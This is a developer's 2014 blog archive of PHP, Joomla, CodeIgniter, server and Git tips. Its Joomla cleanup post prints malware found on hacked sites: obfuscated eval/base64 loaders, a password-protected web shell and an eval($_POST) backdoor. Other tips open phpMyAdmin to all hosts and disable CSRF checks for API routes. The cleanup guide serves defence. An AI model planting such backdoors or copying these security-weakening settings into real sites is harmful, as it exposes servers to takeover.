Friday 19 December 2014

Replacing the <? with <?php using Regular expression

If you have older version of php where you probably using the <? tag like instead of <?php, then you may need to exclusively use <?php for newer version of PHP
In such case, please use the below regular expression to replace the tags on your project files;

Text to find:  [\<][\?][\p{Space}|\n]
Replace with:  <?php

Thursday 18 December 2014

Modifying the System Email Notification email setting for New Registration on Joomla 3+

By default, the joomla send system email notifications to administrator when someone register from frontend. However,  if you are active joomla user and your account's "Receive System emails" is set to "Yes" under "Account Detail tab, then you would be getting email notification when someone register into the website. I am not sure whether it's a Joomla glitch or it has been setup like that.

However, if you need to only send email acknowledgement notification about new user registration to only those members who are active, have administrative privilege ('Administrator'), and who's "Receive System emails" status is set to "Yes, please follow the below step;

1. Go to the /root/components/com_users/models/registration.php,
2. Find the line number 519 on under the public function register($temp) function at line 339.
3. Please replace as below and it would work as mention above;


function register($temp)
{ 
 .....................
 .....................
 .....................
 // Get all admin users
 /*
 $query->clear()
  ->select($db->quoteName(array('name', 'email', 'sendEmail')))
  ->from($db->quoteName('#__users'))
  ->where($db->quoteName('sendEmail') . ' = ' . 1);
 */

 // Uncomment the above bit and add the below bit

 // Pulling all the Administrative privilege Users whos sendEmail/System emails is enabled.
 $query->clear()
  ->select($db->quoteName(array('gm.user_id', 'gm.group_id', 'g.title', 'u.id', 'u.name', 'u.email', 'u.sendEmail', 'u.block')))
  ->from($db->quoteName('#__user_usergroup_map').' AS gm')
  ->join('left', '#__usergroups AS g ON g.id=gm.group_id')
  ->join('left', '#__users AS u ON u.id=gm.user_id')
  ->where($db->quoteName('g.title') . ' = "Administrator" AND '. $db->quoteName('u.block') . ' = "0" AND ' . $db->quoteName('u.sendEmail') . ' = ' . 1);
 //echo nl2br(str_replace('#__','j3x_',$query));


 $db->setQuery($query);


 .....................
 .....................
 .....................
 .....................
 .....................

}

Tuesday 16 December 2014

Get a sentence,string initials or abbreviation via Regular Expression

Please use the below function to get the sentence/string initial (abbreviation).

function initials($str) {
        $matches = preg_split("/[,]/", $str);

        $initials = array();
        foreach ($matches as $list) {
            $words = preg_split("/[^\w-]/", ($list));

            $initial = '';
            foreach ($words as $word) {
                $initial .= strtoupper($word[0]);
            }
            $initials[] = $initial;
        }

        return ( implode('/', $initials) );
    }

Also, please use the link to understand more about regular expression using this Regular Expression Tutorials

Friday 12 December 2014

Installing ionCube PHP Loader in Windows and Linux

If you are stuck with the below errors, this may be good tutorial for you.

.....requires the ionCube PHP Loader ioncube_loader_win_5.4.dll to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.

In Windows
---------------
Please go to download the IonCube loader from the IonCube website and you unzip the file and click the loader-installer.exe and the window pop-up.
To install in your local computer, please use the below format;
Installation Type: Local machine
Base URL: http://localhost/
Base directory: your_htdocs_folder_full_path (e.g. C:\Bitnami\wampstack\apache2\htdocs, C:\xampp\htdocs)

Then, click the start and once installation process completes, please restart the apache. Also, if you goto php.ini file, the zend_extension="your_ioncube_dll_path" is added to the beginning of the file, which you can move to the right place within the file.

FYI: I would be adding to do same on Linux soon..

Furthermore,

To Enable the ionCube PHP Loader for WHMCS installation.
-----------------------------------------------------------------------------
1. Please download the Linux package (64 bits or 32 bits) form the IonCube Loader page.
2. Unzip the files and create a ioncube/ in your public_html/ folder and move all those extracted files in it.
3. Create the php.ini file with below content in it.
zend_extension = "/home/your_site_username/public_html/ioncube/ioncube_loader_lin_5.4.so"

4. Then copy the above php.ini file across in your WHMCS main folder (where you are going to install), its install/, admin/ folders.

Then, try refreshing the page. It should be working.



Thursday 27 November 2014

To add the submenu on Left Sidebar on custom component in Joomla 3.x.x

In latest version of Joomla (3.3.6+), if you are looking to find a way out to add new menu/navigation on the left sidebar list within Administrative view (of your custom component or existing component), please follow as below;

In fact, you can do from two places based on your requirement.
  1. First, if you just need to show under one particular submenu link, then please add on  administrator/components/com_yourcomponent/views/photos/view.html.php, within the display() function. But, make sure you are calling the addEntry() function before the JHTMLSidebar::render().
    // To fine all the entries currently exist on the Submenu List
    $menu_entries = JHtmlSidebar::getEntries();*/
    //print_r($menu_entries);
    
    
    // To add new menu item to submenu on the Left Sidebar
    JHtmlSidebar::addEntry('Configuration', 'index.php?option=com_yourcomponent&view=photos&layout=configuration'); // NameOfMenu, URL_Of_The_Menu
    JHtmlSidebar::addEntry('Export', 'index.php?option=com_yourcomponent&view=photos&layout=export');
    
    // Show sidebar
    $this->sidebar = JHtmlSidebar::render();
    

  2. Or you can directly add within the administrator/components/com_yourcomponent/yourcomponent.php file as below;
    // import joomla controller library
    jimport('joomla.application.component.controller');
    
    // To add new menu item to submenu on the Left Sidebar
    JHtmlSidebar::addEntry('Configuration', 'your_url'); 
    JHtmlSidebar::addEntry('Export', 'your_url');
    
    
    

Friday 14 November 2014

Converting php version of \r\n to line breaks in a textarea (without using a
tag)

If you are using a text area for input form field and you want to display the output on view/edit version, and if sometimes find \r\n is displaying instead of line breaks;

This could be because of single quote string format, in such case even if you use nl2br() function, it wouldn't work either. In such case, you may need to use the double quotes on str_replace which interesting would work.

Please use the below format in such case;


$yourStringHere = str_replace('\r',"\r",str_replace('\n',"\n",$yourStringHere));

echo '';

Monday 13 October 2014

How to disable 'Forgot Username / Password" Links on Joomla

If you are strugglling to disable/remove the "Forgot Username?" or "Forgot Password?" links from Joomla CMS, there are two steps to do that.

First, you have disable it on module section, and second from the component section.

1. First, create the mod_login/ folder inside your templates/your_template/html/ folder. Then copy the default.php file from
modules/mod_login/tmpl/default.php   
to
templates/your_template/html/mod_login/ 

then, open the copied file (default.php) from above html/mod_login and comment the following lines as below;
// echo JText::_('MOD_LOGIN_FORGOT_YOUR_USERNAME');
// echo JRoute::_('index.php?option=com_users&view=reset&Itemid=' . UsersHelperRoute::getResetRoute());

2. First, create the com_users/login/ folders inside your templates/your_template/html/ folder. Then copy the default.php file from
com_users/views/login/tmpl/default_login.php   
to
templates/your_template/html/com_users/login/

then, open the copied file (default.php) from above html/mod_login and comment the following lines as below;
// echo JText::_('MOD_LOGIN_FORGOT_YOUR_USERNAME');
// echo JRoute::_('index.php?option=com_users&view=reset&Itemid=' . UsersHelperRoute::getResetRoute());

Tuesday 7 October 2014

Issue on installing WHMCS on server due to IonCube Loaders

If you are having problem on installing the WHMCS on your server having same issue as below;

....install/install.php requires the ionCube PHP Loader 
ioncube_loader_lin_5.4.so to be installed by the website operator. If 
you are the website operator please use the ionCube Loader Wizard to 
assist with installation.

Please follow the below steps;

Installing IonCube Loaders with cPanel & WHM
It can be done one of two ways:

1. Using EasyApache via WHM >> EasyApache, IonCube Loaders can be selected under the Exhaustive Options List prior to compiling.

2. As the user `root` via SSH, you can run the below command to install IonCube Loaders without having to recompile Apache:
/scripts/phpextensionmgr install IonCubeLoader 


Tuesday 30 September 2014

Class 'app\models\Eloquent' not found in Laravel

If you are creating Model Class on custom folder and if you are using Eloquent, please don't forgot to use the namespace as well as use Eloquent as below;

In fact not calling use Eloquent can cause the following error;
Class 'app\models\Eloquent' not found in Laravel

The sample class can be written as below;
namespace backend;

use Eloquent;

class Page extends Eloquent {

    protected $fillable = array('id', 'alias', 'title', 'content', 'last_updated', 'status', 'views');

    /**
     * The database table used by the model.
     *
     * @var string
     */
    protected $table = 'pages';

    /*
     * Function action
     * 
     * @return return type
     */
    public function youFunctionName()
    {
     // code here   
    }
}// End of class

"Whoops, looks like something went wrong" on Laravel

After you installed the Laravel, you can stuck with the following error,
"Whoops, looks like something went wrong"

then, you might have forgotten to enable the debugger which can be enabled on app/config/app.php file.
// look at the beginning of an array
'debug' => false,

// change to 'true'
'debug' => true,

Thursday 21 August 2014

Apache does not start when using Virtual Host on BITNAMI WAMP Stack

Updated on 19.12.2014

If you are using the Bitnami WAMP Stack, be careful while you setup the virtual host for your site (on local machine, Amazon EC2 or other Cloud).

First Steps:
  1. Open the /wampstack/apache2/conf/httpd.conf
  2. Search for [ conf/extra/httpd-vhosts.conf ] and uncomment that line (normally it should be line > 492 under the # Virtual hosts )
 Also, you may need to change port to 8080 or to 80 depends on your system requirement.

-------------------------------------------------------------------------------------------------------

If you are using the Bitnami WAMP Stack, be careful while you setup the virtual host for your site (on local machine, Amazon EC2 or other Cloud).

Firstly, wamp_intall_folder/apache2/conf/extra/http-vhosts.conf doesn't work anymore if you using Bitnami WAMP Stack. Instead, it uses wamp_intall_folder/apache2/conf/bitnami/bitnami-apps-vhosts.conf

1. Then, add the following content to setup of the Virtual host.
< VirtualHost *:80 >
 ServerName dev.testapp
 DocumentRoot "wamp_intall_folder/apache2/htdocs/testapp"
 
 Include "wamp_intall_folder/apps/testapp/conf/httpd-app.conf"
< /VirtualHost >


And, rest of configruation is exactly same for both.

OR Alternatevly,
you can configure same thing in a slightly different way, they rather Include the vhost.conf file and setup separately for each application.

I. First, create new folder on apps/ folder, in this case I am creating testapp/:
  wamp_intall_folder/apps/testapp

II. Then, create conf/ inside the above testapp/ folder.
  wamp_intall_folder/apps/testapp/conf


III. Then, create httpd-vhosts.conf file inside the above /conf folder;
  wamp_intall_folder/apps/testapp/conf/httpd-vhosts.conf

Then, add the below content on httpd-vhosts.conf file

< VirtualHost *:80 >
 ServerName dev.testapp
 DocumentRoot "wamp_intall_folder/apache2/htdocs/testapp"
 
 Include "wamp_intall_folder/apps/testapp/conf/httpd-app.conf"
< /VirtualHost >

IV. Further, create httpd-app.conf file inside the above /conf folder with the below content.
  wamp_intall_folder/apps/testapp/conf

 Then, add the below content on httpd-app.conf file

 < Directory "wamp_intall_folder/apache2/htdocs/testapp" >
  Options Indexes MultiViews
  AllowOverride All
  
  < IfVersion < 2.3 >
   Order allow,deny
   Allow from all
  < /IfVersion >
  
  < IfVersion >= 2.3 >
   Require all granted
  < /IfVersion >
  
 < /Directory >
 
On above steps 3 & 4, the wamp_intall_folder/apache2/htdocs/testapp is the folder where your actual project or app folder where all the php files are placed.

V. Now, lets go to the wamp_intall_folder/apache2/conf/bitnami/bitnami-apps-vhosts.conf file and add the below line
# Bitnami applications installed in a Virtual Host
Include "wamp_intall_folder/apps/testapp/conf/httpd-vhosts.conf"

2. One more step,  open the hosts file from the C:\Windows\System32\drivers\etc\hosts, in case of lixux or EC2 Server, it can be different location, please check before you add the below line.
Add the below line and save the file.
 127.0.0.1       dev.testapp

3. Finally, you have to restart the Apache server, if you browse by
http://dev.testapp/

Enjoy!

If anything, please let me know.

Tuesday 19 August 2014

To Upgrade from Joomla 2.5 to Joomla 3.x

Please follow steps to upgrade your Joomla 2.5.x website to Joomla 3.x (Tested upto version 3.3.3)
  1. Create a backup
    1. Make sure you create a full backup of your site. You can use our How to Backup a Joomla 2.5 Site tutorial if you need help with creating a backup.
       
  2. Make sure everything is up-to-date
  3. Check your system for Joomla 3 compatibility
  4. Check your extensions for Joomla 3 compatibility
  5. Create a test site
    1. Once you're sure that all your extensions are compatible, create another backup and a test site on the same server in a subfolder (be sure to create a copy of the database and not use the same one). You can use our Create a Joomla Test Site Using Akeeba Backup tutorial for that part.
       
  6. Test the upgrade in the test site
    1. Go to Components, then Joomla! Update 
    2. Click the Options button
    3. Change the Update Server to "Short Term Support"
    4. Click Save & Close
       
  7. Finally, on the test site, click the "Install the update". If all goes well, then you can do the same steps on the live site.

Note: if the "Install the update" doesn't appear right away, you may need to go to Extensions (top menu) >> Extension Manager (sub menu) >> Update (tab) >> Purge Cache (button - far right).
    After upgrading, check in Extensions (top menu) >> Extension Manager (sub menu) >> Database (side menu) and make sure there are no errors. If there are some, click on fix button.


However, before that if you find the "Joomla Update" is missing in from Admin Menu "Component" Or If Joomla Update does not shows as an installed component the menuitem could be wrong. Run this SQL statement:
UPDATE #__menu
SET component_id =
  (SELECT extension_id FROM #__extensions WHERE name = "com_joomlaupdate")
WHERE title = "com_joomlaupdate"

It should update 1 row, if not use the Discover function and install it as a component.
If Joomla Update shows as an installed component but is not in the Admin Menu under Components, you are missing the entry in the database table #__menu.

INSERT INTO `#__menu` (`menutype`, `title`, `alias`, `note`, `path`, `link`, `type`, `published`, `parent_id`, `level`, `component_id`, `ordering`, `checked_out`, `checked_out_time`, `browserNav`, `access`, `img`, `template_style_id`, `params`, `lft`, `rgt`, `home`, `language`, `client_id`) 
VALUES ('menu', 'com_joomlaupdate', 'Joomla! Update', '', 'Joomla! Update', 'index.php?option=com_joomlaupdate', 'component', 0, 1, 1, (SELECT extension_id FROM #__extensions WHERE `name` = 'com_joomlaupdate'), 0, 0, '0000-00-00 00:00:00', 0, 0, 'class:joomlaupdate', 0, '', 41, 42, 0, '*', 1);

Replace the "#_" of #__menu and #__extensions with the prefix of your database table (System >> Global Configuration >> Server >> Database Tables Prefix).
Example: vy2bp_menu and vy2bp_extensions (only one underline)

Reference: Source 

Bitnami WAMP Stack - /phpmyadmin remote access issue as "For security reasons, this URL..............."

If you have installed the Bitnami WAMP/LAMP stack in your local and having problem to access the /phpmyadmin from remotely.
You might have seen the below error message as below:

For security reasons, this URL is only accesible using localhost (127.0.0.1) as the hostname

1. In such case, you can fix it quickly by going to the 
\apps\phpmyadmin\conf

2. Open the httpd-app.conf file, and do the below steps;'
        Find the and comment the line:
        Require local  (below the line < IfVersion < = 2.3 > )
         and add the line:
        Require all granted

The code preview is shown below;

= 2.3>
#Require local
Require all granted


Friday 8 August 2014

How to enable the Remote MySQL connection on the Web Server (Cpanel)

If you are having problem to connect MySQL from Remote System, please check the following things on the Webserver Control Panel or Cpanel before connecting it.

1. Is there any local firewall running on the server, do you have the connecting servers listed in 
WHM -> SQL Services »Additional MySQL Access Hosts _and_ cPanel -> Remote MySQL?

2. If so, you've to also add a rule to CSF to allow MySQL connections. For that, go to 
WHM -> Plugins -> Configserver CSF Firewall -> Firewall Allow IPs.   

And, after that, you'll see that there is a line:
 tcp|in|d=3306|s=88.xxx.xxx.xx (your connecting computer's IP address)

which only allows incoming MySQL connections from your IP Address.
 

Email receiving issue as Gmail and other servers throws all outgoing emails to SPAM Folder?

If your website has been previously been black listed due to a pounding of SPAM emails.

Well, I am sure you definitely backed the website to normal, however, if you may face the email receiving issue for all outgoing emails from the same server. Particularly, those sending email seems delivered smoothly, however, on receivers end, they emails may be marked as spam and thrown them to SPAM folders. This often happened with GMAIL and other few servers in my case.

To resolve the above issue, the following steps may be useful;

1. Check your website (server) IP address for blacklisting by searching on below websites and delist them from there or request them to delist your IP. Please refer few websites below for checking blacklisting;
 http://multirbl.valli.org/
 http://lookup.uribl.com/
 http://www.blacklistalert.org/
 http://mxtoolbox.com/blacklists.aspx
 http://www.spamhaus.org/lookup

2. You should consider publishing SPF and DKIM records for these domains. To do that, go to your cPanel -> Email Authentication -> Enable DKIM and SPF and copy the records into the Domain DNS Manager for your domain.

The SPF (Sender Policy Framework) 
is system allows you to specify servers and IP addresses that are authorized to send mail from your domain(s). This feature works to prevent outgoing spam messages. SPF should look like below;
v=spf1 +a +mx +ip4:78.31.107.194 ?all

DKIM (DomainKeys Identified Mail) 
is a means of verifying incoming email. It ensures that incoming messages are unmodified and from the sender from whom they claim to be. This feature works to prevent incoming spam messages. DKIM should look like below;
v=DKIM1; k=rsa; p=MIGfMA0XCSqGSIb3DQEBAQUAA4GNAPCBiQKBgQDiZT6OFmmJWU/Bepyd54k3b48voH2RUzzQV7fp1vTTFGWXu72JSfBdq5ZgCMoETP/q1crHJ2ghT+X+97FVsuudY7D1Ejk6GuvleuUVQtbCfoqU11igcVqItcUttA30CSSL85riDztruFCh/1TU7SQuNNvLdoH8lcjNOWJBeAskqQIDAQAB;

If you had faced the same problem and resolved it, I would love to hear about that (comment me) here..

Wednesday 6 August 2014

How to stop Filezilla as it messes the codes (changing the linebreaks) during upload to server?

If you are pulling your hair when you see the messed up codes/contents as soon as you upload the files(well aligned codes) to the server. Normally, it happens if you are using Filezilla.

By Default, FileZilla is set to "Auto" for File Transfer Type. And, if you have any files which are in ASCII file format, then FileZilla become over-smart and will mess up with those files while transferring to the server.

To Fix that,

1. Go to FileZilla > Edit > Transfers > File Types,
2. Switch to "Binary" and Click "OK"
3. (Optional) You can restart the Filezilla.

Then, Filezilla couldn't able to mess up with your files any more.

Extra Knowledge

What you observe is perfectly normal for ASCII transfers. Different operating systems have different line-ending styles. Windows has $0D0A (), *NIX has $0A () and classic Mac had $0D (). See Data Type.

FTP in ASCII transfer type performs line ending conversion. Example: When uploading in ASCII type from Windows to Linux server, all are converted to . Thus the filesize will shrink, and binary verification tools fail on the target file. Notepad does not support UNIX style line endings and thus shows the file as one line (the rectangles are the chars), but Wordpad does (try opening the file in Wordpad to see for yourself).

Thursday 31 July 2014

Quick way to check for IMAP Enabled/Disabled on PHP Web server

Please execute the below syntax to check for IMAP feature enabled/disabled on your CPanel

// Code to check for just for IMAP info
var_dump(get_extension_funcs('imap'));

// Below code is to get the server configuration and check for PHP IMAP status
phpinfo();

If IMAP is enabled, the var_dump should return array of string related to imap as below;
array(75) { [0]=> string(9) "imap_open" [1]=> string(11) "imap_reopen..........

Also, if IMAP is enabled, you should able to see below information when you execute phpinfo(); as below;
IMAP
IMAP c-Client Version 2007f
SSL Support enabled

If IMAP is disabled,
Otherwise you would just able to see:  bool(false)

To add Very Custom Global Functions on Joomla 2.5 / 3+

If you are struggling to find a place to put any custom global functions (not exclusive to any components, plugins or modules) on Joomla 2.5, 3.0 & more, the best place I reckon would be under;

/root/libraries/custom/global.php

Where I have created the custom/ folder and created the global.php file where you can put all the global functions as you like;

But, before that please add the below lines of code at the bottom of the loader.php file which is located /root/libraries/loader.php

// Import the custom library for global loader if necessary.
if ( file_exists(JPATH_PLATFORM.'/custom/global.php'))
{
    require_once JPATH_PLATFORM.'/custom/global.php';
}
Once you completed above steps, you can access those functions on global.php from anywhere from within project.

Below is the example of function written on global.php file.

// To print passed parameter string on preformatted text format.
function print_me($str)
{
    echo '<pre>';
    print_r($str);
    echo '</pre>';
}

May be there would be better approach to this issue, but I did as above. Please keep on comment me if you guys have any other way.

Wednesday 23 July 2014

How to enable a ReCaptcha for both HTTP / HTTPS (SSL enabled domain)

Please use the blow code to enable the Google ReCaptcha for HTTP & SSL enabled domain (i.e. HTTPS URL).
In fact, it will work for both types;
// Works only for HTTP - Get reCAPTCHA JS/HTML Code
$html = recaptcha_get_html($this->config->item('recaptcha_public_key', 'tank_auth'));

// Works for both HTTP / HTTPS - Get reCAPTCHA JS/HTML Code
$html = recaptcha_get_html($this->config->item('recaptcha_public_key', 'tank_auth'), null, true); // just added ", null, true" for ssl
The above code is snapshot of CodeIgniter (CI) based project.

Wednesday 11 June 2014

POST request using REST API on CodeIgniter return Page Error 500

If you are trying to execute a POST request using REST API on CodeIgniter, and stoked with Page Error 500, or Request Page Not Found error,
An Error Was Encountered
The action you have requested is not allowed.
Then, please check for CSRF Protection check on application/config/config.php file > Line No below. 340 If you are already using the CSRF Security or already enabled, then add the following code just below 'csrf_expire' line.
/** Start of CSRF Skip for APIs Request
 *
 * If the REQUEST_URI has method is POST and requesting the API url,
 * then skip CSRF check, otherwise don't do.
 */
if (isset($_SERVER["REQUEST_URI"]) &&
   (isset($_SERVER['REQUEST_METHOD']) && ($_SERVER['REQUEST_METHOD'] == 'POST') ))
{
    if ( stripos($_SERVER["REQUEST_URI"], '/api/') === false )  
    {
        // If POST request is not for api request, Apply CSRF True
        $config['csrf_protection'] = TRUE;
    }
    else {
        // If POST request is for API, Skip CSRF Check
        $config['csrf_protection'] = FALSE;
    }
}
/** End of CSRF Skip for APIs Request */

Tuesday 10 June 2014

Blank page during Order Status Updates on Joomla VirtueMart

If you are trying the update the orders' status on Joomla VirtueMart, and you are left with blank page while updating, in that case there is problem with PDF Invoice generation, so for quick redirection to avoid blank page, do following modification.

But, mind you it will not generate any PDF Invoices (its just a quick fix to redirect back after updates). However, I will come back later with solution for PDF Invoice generation.

Go to joomla project root/components/com_virtuemart/controllers/invoice.php > Line no 279
Then comment the line and add the code as below;
279   //return VmPdf::createVmPdf($view, $path, 'F', $metadata);
280   return true;

Thursday 5 June 2014

To recover a hacked Joomla Website attacked by Malware

If you are using Joomla (particularly on Joomla 2.5.20 or lower)  and you website has been hacked and it sending lots of spam emails from your server, then there might be some hidden code left on your webserver by Malware.

Please find the list of thing which need checking as below;

 1. Check a .htaccess file (if you got any) for something unusual script exist like below;
< IfModule mod_rewrite.c >
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC] 
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond /home/sitename/public_html//common.php -f
RewriteRule ^.*$    /common.php [L]
< / IfModule >
Just remove the above script or if can also replace a .htaccess file with standard joomla .htaccess file.

2. Find any common.php file on the root folder and if you are not sure about it. You can also check whether you see something like below on that file. Please, just delete it.

$PXyCcfGZONUJafapZKpDwrnNv='ba'.'se64_d'.'ecod'.'e';
eval($PXyCcfGZONUJafapZKpDwrnNv("cHJlZ19yZXBsYWNlKCIvQ1JOVjNDQzhOSFNiQ3JWdHNEQkZtRGJlaS9lIiwgIkp3PWVScG1CdHNIM........."));


3. Search for any ajax.php file on any folder and if found it, please check whether you see something like below on that file. If found, please just delete it.

$x74="+HM)?Z\"Yb&eny`{BPX^(=3}DT@q-m#9;UwI_[]8p/a~sE4zvW:%7*AdF0\r GruLfh>1cl!Vgt<.RQKJx6i\t5o|\\CN\$O\n,'2Skj"; 
$GLOBALS['utxje85'] = $x74[10].$x74[60].$x74[60].$x74[84].$x74[60].$x74[35].$x74[60].$x74[10]
.......
.......;

4. Similarly, search for any smile.php file on any folder and if found it, please check whether you see something like below on that file. If found, please just delete it.

eval(gzinflate(base64_decode('7X1rcxs5kuBnd0T/B7ia3STHfMpv0ZQt62G7bUtqS7bbLSkYRVaRKqvIo...........
.......
.......)));

5. Futher, search for any file having below script (particularly update.php file) on any folder and if found it. If found, please just delete those script and make sure you have the right script on those files.

if(!empty($_GET['action']) && $_GET['action'] == 'set_password' && !empty($_GET['hashed_password'])) {

    $hashed_password = $_GET['hashed_password'];
    
    $fh = fopen(PASSWORD_FILE, "w");
    
    if($fh==false) die("unable to create file");
    
    fputs ($fh, $hashed_password);
    
    fclose ($fh);
    
    exit;
}

if(!file_exists(PASSWORD_FILE)) {

    $hashed_password = 'a6a8cb877ee18215f2c0fc2a6c7b4f2a';
    
    $fh = fopen(PASSWORD_FILE, "w");
    
    if($fh==false) die("unable to create file");
    
    fputs ($fh, $hashed_password);
    
    fclose ($fh);

}
else {
    $hashed_password = trim(file_get_contents(PASSWORD_FILE));
}

define('SHELL_PASSWORD', $hashed_password);
define('MAX_UP_LEVELS', 10);

if(empty($_COOKIE['password']) && empty($_POST['password']) || (!empty($_POST['password']) && md5($_POST['password']) != SHELL_PASSWORD)) {
    print '< form method="post" >
Password : < input name="password" type="text" / >  < input type="submit" / >< / form >
';
}

if(!empty($_POST['password']) && md5($_POST['password']) == SHELL_PASSWORD) {

    setcookie('password', SHELL_PASSWORD, time() + 60*60*24);
    
    header("Location: {$_SERVER['PHP_SELF']}");
    
    exit;
}

if(empty($_COOKIE) || $_COOKIE['password'] != SHELL_PASSWORD) {
    exit;
}

// Actual Joomla Code Start from here....
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);
....
....

6. Moreover, search for p.txt file and if you found it, and if it contains only encrypted string, please delete that file as well;
// sample encrypted code
a6a8cb877ee18215f2c0fc2a6c7b4f2a

7. Also, search for eval(base64_decode($_POST[' script across all files and if you found any, that was put by malware, so delete that line of code across all those found files. Normally, the below code is added at the very top or very bottom of the files;
eval(base64_decode($_POST['n26712b']));

8. Lastly, search for all error_log files across all the folder and delete all if you reckon, they should not be there.

Also, it's quite painful and time consuming to go through all above steps, but just search for any of above scripts which are similar or have similar patterns and trash all. Just beware that targeted file names may be different sometimes.

If you have got anything different then mentioned above, and you got any solution, please comment on this article so that it would be helpful to others

Thursday 22 May 2014

GIT - ignore committing list of unnecessary files ( using .git/info/exclude )

If you are using GIT for version control, there is way you can ignore committing unnecessary files as per required.
Step 1. And to do that, please open a project_folder/.git/info/exclude file then update the file as per below example;
# git ls-files --others --exclude-from=.git/info/exclude
# Lines that start with '#' are comments.
# For a project mostly in C, the following would be a good set of
# exclude patterns (uncomment them if you want to use them):
# *.[oa]
# *~

# Your Main Application files (Example for CodeIgniter based application) #
######################
/.idea/*
/assets/_upload/_articles/* // * mean exclude all the files
/assets/_upload/_tmp/*

!/assets/_upload/_articles/index.html // ! mean not exclude this file
!/assets/_upload/_tmp/index.html

/application/config/config.php 
/application/config/database.php 

/application/cache/*
/application/cache/templates_compiled/*
/application/CachedWebContent/*
/application/logs/*

/error_log

Basic exclude rules for CodeIgniter based application as below; if you like you can modify them as per your needs.

# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so
 
# Packages #
############
# it's better to unpack these files and commit the raw source
# git has its own built in compression methods
*.7z
*.dmg
*.gz
*.iso
*.jar
*.rar
*.tar
*.zip
 
# Logs and databases #
######################
*.log
*.sql
*.sqlite
 
# OS generated files #
######################
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
Step 2. Edit the file and Save it.
Step 3. Then clean the previous cached rules if any. Run below code each time you modified the exclude file

# git reset HEAD

Step 4.

# git add -- all // Add all the new folders or files if you have added any
# git commit -am "You comments for commit"
# git push
#
That's all you need to know! Enjoy!!!

Git Clone local repository to another repository, Exclude some folder

// Git Clone local repository to another repository
// -----------------------------------------------
$ mkdir c/xampp/htdocs/repo1 // create repository one
$ cd c/xampp/htdocs/repo1 // Go into folder
$ git init // initialise the git
$ git add -all // All all the file and folder

// To clone all the files except particular folders
// -----------------------------------------------
$ git reset -- folder1/ folder2/ // Exclude the folder1, folder2 from committing


// To clone to another local directory 
// -----------------------------------------------
$ git clone path_to_repository1/ path_to_another_repository/

$ git pull // To pull the updates from repo1.

Monday 28 April 2014

Prevent to change the select input value if NO to confirm via Jquery

Find the code below to prevent the Select box/Dropbox to alter the value if 'NO' to Confirm using Jquery.
 var prev_rank_val;
        $( '#rank_level_id' ).focus(function() {
            prev_rank_val = $(this).val();
        })
        .change(function() {
            $(this).blur() // Firefox fix 

            var msg = "Are you sure you want to continue?"; // message here
            var action = confirm(msg);

            if ( action==true) {
                return true;
            }
            else {
                $(this).val(prev_val); // rollback the current value if to No
                return false;
            }
        });


Tuesday 8 April 2014

"Filetype attempting to upload is not allowded" issue in CodeIgniter

If you are having issue on uploading the file in CodeIgniter, there is a bug with the File Upload Class in the _file_mime_type function ( or File Upload Class - MIME type detection issue).
Please check one of the following steps to fix the issue;

1. Uploading any image with the following config would generate the error ‘The filetype you are attempting to upload is not allowed.’:

$config = array(
 'upload_path' => './uploads/',
 'allowed_types' => 'gif|jpg|png'
);  
$this->load->library('upload', $config); 


2. Changing ‘allowed_types’ to ‘*’ allows the file to be uploaded, however the upload data array ( $this->upload->data() ) contains an error:
[file_type] => cannot open `' (No such file or directory)


3. Looking at system/libraries/Upload.php , Line 1058 tries to use an array value that does not exist.
@exec('file --brief --mime-type ' . escapeshellarg($file['tmp_path']), $output, $return_code); 

// Changed to: 

@exec('file --brief --mime-type ' . escapeshellarg($file['tmp_name']), $output, $return_code);  

Friday 4 April 2014

To add to one GIT repository to another repository on same machine

Well, what I have done here is I have development and production repositories on my PC which were exclusively linked to their own GitHub repositories.

Now, I would like to update my production repo from development locally and push back to production repository on GitHub.

And here is my commands;

# Go to local "production" repo
 
$ cd project.production/  
RC@MyPC-001 /c/xampp/htdocs/project.production (master)

$ git remote add development /c/xampp/htdocs/hillingdon/dev.hcp.branch
RC@MyPC-001 /c/xampp/htdocs/project.production (master)

$ git fetch development

$ git merge development/
development/forum-devt   development/master // This is because I had two branch on my development repo

$ git merge development/master // I am merging the master branch only

// If you got any conflicts, please resolve them and add them all
 
$ git add --all 

SSH/SCP commands to/from remote server in window/Linux

Syntax for Secure Copy (scp) via HTTP

What is Secure Copy?

scp allows files to be copied to, from, or between different hosts. It uses ssh for data transfer and provides the same authentication and same level of security as ssh.

Examples

Copy the file "foobar.txt" from a remote host to the local host

$ scp your_username@remotehost.edu:foobar.txt /some/local/directory

Copy the file "foobar.txt" from the local host to a remote host

$ scp foobar.txt your_username@remotehost.edu:/some/remote/directory

Copy the directory "foo" from the local host to a remote host's directory "bar"

$ scp -r foo your_username@remotehost.edu:/some/remote/directory/bar

Copy the file "foobar.txt" from remote host "rh1.edu" to remote host "rh2.edu"

$ scp your_username@rh1.edu:/some/remote/directory/foobar.txt \
your_username@rh2.edu:/some/remote/directory/

Copying the files "foo.txt" and "bar.txt" from the local host to your home directory on the remote host

$ scp foo.txt bar.txt your_username@remotehost.edu:~

Copy the file "foobar.txt" from the local host to a remote host using port 2264

$ scp -P 2264 foobar.txt your_username@remotehost.edu:/some/remote/directory

Copy multiple files from the remote host to your current directory on the local host

$ scp your_username@remotehost.edu:/some/remote/directory/\{a,b,c\} .
$ scp your_username@remotehost.edu:~/\{foo.txt,bar.txt\} .

scp Performance

By default scp uses the Triple-DES cipher to encrypt the data being sent. Using the Blowfish cipher has been shown to increase speed. This can be done by using option -c blowfish in the command line.
$ scp -c blowfish some_file your_username@remotehost.edu:~
It is often suggested that the -C option for compression should also be used to increase speed. The effect of compression, however, will only significantly increase speed if your connection is very slow. Otherwise it may just be adding extra burden to the CPU. An example of using blowfish and compression:
$ scp -c blowfish -C local_file your_username@remotehost.edu:~

Reference: http://www.hypexr.org/linux_scp_help.php

Tuesday 4 March 2014

To run the Joomla controller task ( via Joomla frontend ) with CronJobs in CPanel

To run the Joomla controller task (via Joomla Frontend) with Cron Jobs (Cron Scheduler) in CPanel, please follow the below instruction.

